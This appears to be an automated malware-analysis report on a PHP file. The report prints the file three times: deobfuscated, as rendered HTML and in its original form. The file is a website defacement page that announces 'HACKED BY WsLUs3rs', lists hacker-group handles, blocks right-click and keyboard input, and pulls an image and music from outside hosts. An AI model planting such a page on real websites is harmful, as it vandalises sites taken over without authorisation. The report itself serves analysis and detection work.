PHP Malware Analysis

wsl.txt

md5: 87cc3343e3652a6d51c072eab660ebf7

Jump to: 

Screenshot
Attributes
Title

URLs

Deobfuscated PHP code
<html>
<meta name="viewport" content="width=device-width, initial-scale=1" /> 
<head>
<title>HACKED BY WsLUs3rs</title> 

<link rel="icon" href="https://i1.sndcdn.com/artworks-000362850540-lmff25-t500x500.jpg" type="image/x-icon" />

<link rel="icon" type="image/png" href="https://i1.sndcdn.com/artworks-000362850540-lmff25-t500x500.jpg">


<meta charset="UTF-8"/>

<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta property="og:title" content="HACKED BY WsLUs3rs">

<meta name="deion" content="[ WsLUs3rs ]">

<meta property="og:description" content="WsLUs3rs">


<meta property="og:image" content="https://i1.sndcdn.com/artworks-000362850540-lmff25-t500x500.jpg">

<meta content='article' property='og:type'/>

<body oncontextmenu="return false" onkeydown="return false" onmousedown="return false">



<head>

<style type="text/css">.lagu{background:transparent;border:1px solid red;font-family:Share\ Tech\ Mono;color:;font-size:10px;font-weight:normal;padding:2px 25px;text-decoration:none;text-shadow:0 0 0px #15cff4}</style>

<script>

    function play(){var audio=document.getElementById('lagu');audio.play();}function liat(){document.getElementById('galiat').style.visibility='visible';}</script>


</script>

<body BGCOLOR="black"> 

<center>

<body>

    <center>

<br>
<img src="https://thedeadtoons.com/wp-content/uploads/2021/05/Loli-anime-Image-UltraMunch-1024x576.jpg" height="200" ><br><br>

</center>

<center><font color=red size="4" face=audiowide>HACKED BY

<font color=white>WsLUs3rs</font></center>

<br>

<center>

<font color=white size=3 face="courier New">{}TSecNetwork{}<br><br>

<br>terlalu muda untuk melihat kedewasaan..</font>

<br><br>


<center>
  <p>

<marquee behavior="scroll" direction="left" scrollamount="4" scrolldelay="55" width="100%"> 


<font face="courier new" Size="2" color="red">[

<font face="courier new" Size="2" color="white">K4puyu4k

<font face="courier new" Size="2" color="red">][

<font face="courier new" Size="2" color="white">./SaklarRusak

<font face="courier new" Size="2" color="red">][

<font face="courier new" Size="2" color="white">DR4G0N5

<font face="courier new" Size="2" color="red">][

<font face="courier new" Size="2" color="white">Cepu Sosial

<font face="courier new" Size="2" color="red">][

<font face="courier new" Size="2" color="white">TN.MDK

<font face="courier new" Size="2" color="red">]

</font>
<br><br>
</marquee>

<button class="lagu" onclick="play();liat();"><font face="courier new" size="2" color="white">PLAY TO ENJOY MUSIC</font></button><audio id="lagu" src="https://virtuone.app.br/ss.mp3"></audio>
</html>

Execution traces
Generated HTML code
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">&lt;html&gt;
&lt;meta name="viewport" content="width=device-width, initial-scale=1" /&gt; 
&lt;head&gt;
&lt;title&gt;HACKED BY WsLUs3rs&lt;/title&gt; 

&lt;link rel="icon" href="https://i1.sndcdn.com/artworks-000362850540-lmff25-t500x500.jpg" type="image/x-icon" /&gt;

&lt;link rel="icon" type="image/png" href="https://i1.sndcdn.com/artworks-000362850540-lmff25-t500x500.jpg"&gt;


&lt;meta charset="UTF-8"/&gt;

&lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt;

&lt;meta property="og:title" content="HACKED BY WsLUs3rs"&gt;

&lt;meta name="deion" content="[ WsLUs3rs ]"&gt;

&lt;meta property="og:description" content="WsLUs3rs"&gt;


&lt;meta property="og:image" content="https://i1.sndcdn.com/artworks-000362850540-lmff25-t500x500.jpg"&gt;

&lt;meta content='article' property='og:type'/&gt;

&lt;body oncontextmenu="return false" onkeydown="return false" onmousedown="return false"&gt;



&lt;head&gt;

&lt;style type="text/css"&gt;.lagu{background:transparent;border:1px solid red;font-family:Share\ Tech\ Mono;color:;font-size:10px;font-weight:normal;padding:2px 25px;text-decoration:none;text-shadow:0 0 0px #15cff4}&lt;/style&gt;

&lt;script&gt;

    function play(){var audio=document.getElementById('lagu');audio.play();}function liat(){document.getElementById('galiat').style.visibility='visible';}&lt;/script&gt;


&lt;/script&gt;

&lt;body BGCOLOR="black"&gt; 

&lt;center&gt;

&lt;body&gt;

    &lt;center&gt;

&lt;br&gt;
&lt;img src="https://thedeadtoons.com/wp-content/uploads/2021/05/Loli-anime-Image-UltraMunch-1024x576.jpg" height="200" &gt;&lt;br&gt;&lt;br&gt;

&lt;/center&gt;

&lt;center&gt;&lt;font color=red size="4" face=audiowide&gt;HACKED BY

&lt;font color=white&gt;WsLUs3rs&lt;/font&gt;&lt;/center&gt;

&lt;br&gt;

&lt;center&gt;

&lt;font color=white size=3 face="courier New"&gt;{}TSecNetwork{}&lt;br&gt;&lt;br&gt;

&lt;br&gt;terlalu muda untuk melihat kedewasaan..&lt;/font&gt;

&lt;br&gt;&lt;br&gt;


&lt;center&gt;
  &lt;p&gt;

&lt;marquee behavior="scroll" direction="left" scrollamount="4" scrolldelay="55" width="100%"&gt; 


&lt;font face="courier new" Size="2" color="red"&gt;[

&lt;font face="courier new" Size="2" color="white"&gt;K4puyu4k

&lt;font face="courier new" Size="2" color="red"&gt;][

&lt;font face="courier new" Size="2" color="white"&gt;./SaklarRusak

&lt;font face="courier new" Size="2" color="red"&gt;][

&lt;font face="courier new" Size="2" color="white"&gt;DR4G0N5

&lt;font face="courier new" Size="2" color="red"&gt;][

&lt;font face="courier new" Size="2" color="white"&gt;Cepu Sosial

&lt;font face="courier new" Size="2" color="red"&gt;][

&lt;font face="courier new" Size="2" color="white"&gt;TN.MDK

&lt;font face="courier new" Size="2" color="red"&gt;]

&lt;/font&gt;
&lt;br&gt;&lt;br&gt;
&lt;/marquee&gt;

&lt;button class="lagu" onclick="play();liat();"&gt;&lt;font face="courier new" size="2" color="white"&gt;PLAY TO ENJOY MUSIC&lt;/font&gt;&lt;/button&gt;&lt;audio id="lagu" src="https://virtuone.app.br/ss.mp3"&gt;&lt;/audio&gt;
&lt;/html&gt;
</pre></body></html>
Original PHP code
<html>
<meta name="viewport" content="width=device-width, initial-scale=1" /> 
<head>
<title>HACKED BY WsLUs3rs</title> 

<link rel="icon" href="https://i1.sndcdn.com/artworks-000362850540-lmff25-t500x500.jpg" type="image/x-icon" />

<link rel="icon" type="image/png" href="https://i1.sndcdn.com/artworks-000362850540-lmff25-t500x500.jpg">


<meta charset="UTF-8"/>

<meta http-equiv="X-UA-Compatible" content="IE=edge">

<meta property="og:title" content="HACKED BY WsLUs3rs">

<meta name="deion" content="[ WsLUs3rs ]">

<meta property="og:description" content="WsLUs3rs">


<meta property="og:image" content="https://i1.sndcdn.com/artworks-000362850540-lmff25-t500x500.jpg">

<meta content='article' property='og:type'/>

<body oncontextmenu="return false" onkeydown="return false" onmousedown="return false">



<head>

<style type="text/css">.lagu{background:transparent;border:1px solid red;font-family:Share\ Tech\ Mono;color:;font-size:10px;font-weight:normal;padding:2px 25px;text-decoration:none;text-shadow:0 0 0px #15cff4}</style>

<script>

    function play(){var audio=document.getElementById('lagu');audio.play();}function liat(){document.getElementById('galiat').style.visibility='visible';}</script>


</script>

<body BGCOLOR="black"> 

<center>

<body>

    <center>

<br>
<img src="https://thedeadtoons.com/wp-content/uploads/2021/05/Loli-anime-Image-UltraMunch-1024x576.jpg" height="200" ><br><br>

</center>

<center><font color=red size="4" face=audiowide>HACKED BY

<font color=white>WsLUs3rs</font></center>

<br>

<center>

<font color=white size=3 face="courier New">{}TSecNetwork{}<br><br>

<br>terlalu muda untuk melihat kedewasaan..</font>

<br><br>


<center>
  <p>

<marquee behavior="scroll" direction="left" scrollamount="4" scrolldelay="55" width="100%"> 


<font face="courier new" Size="2" color="red">[

<font face="courier new" Size="2" color="white">K4puyu4k

<font face="courier new" Size="2" color="red">][

<font face="courier new" Size="2" color="white">./SaklarRusak

<font face="courier new" Size="2" color="red">][

<font face="courier new" Size="2" color="white">DR4G0N5

<font face="courier new" Size="2" color="red">][

<font face="courier new" Size="2" color="white">Cepu Sosial

<font face="courier new" Size="2" color="red">][

<font face="courier new" Size="2" color="white">TN.MDK

<font face="courier new" Size="2" color="red">]

</font>
<br><br>
</marquee>

<button class="lagu" onclick="play();liat();"><font face="courier new" size="2" color="white">PLAY TO ENJOY MUSIC</font></button><audio id="lagu" src="https://virtuone.app.br/ss.mp3"></audio>
</html>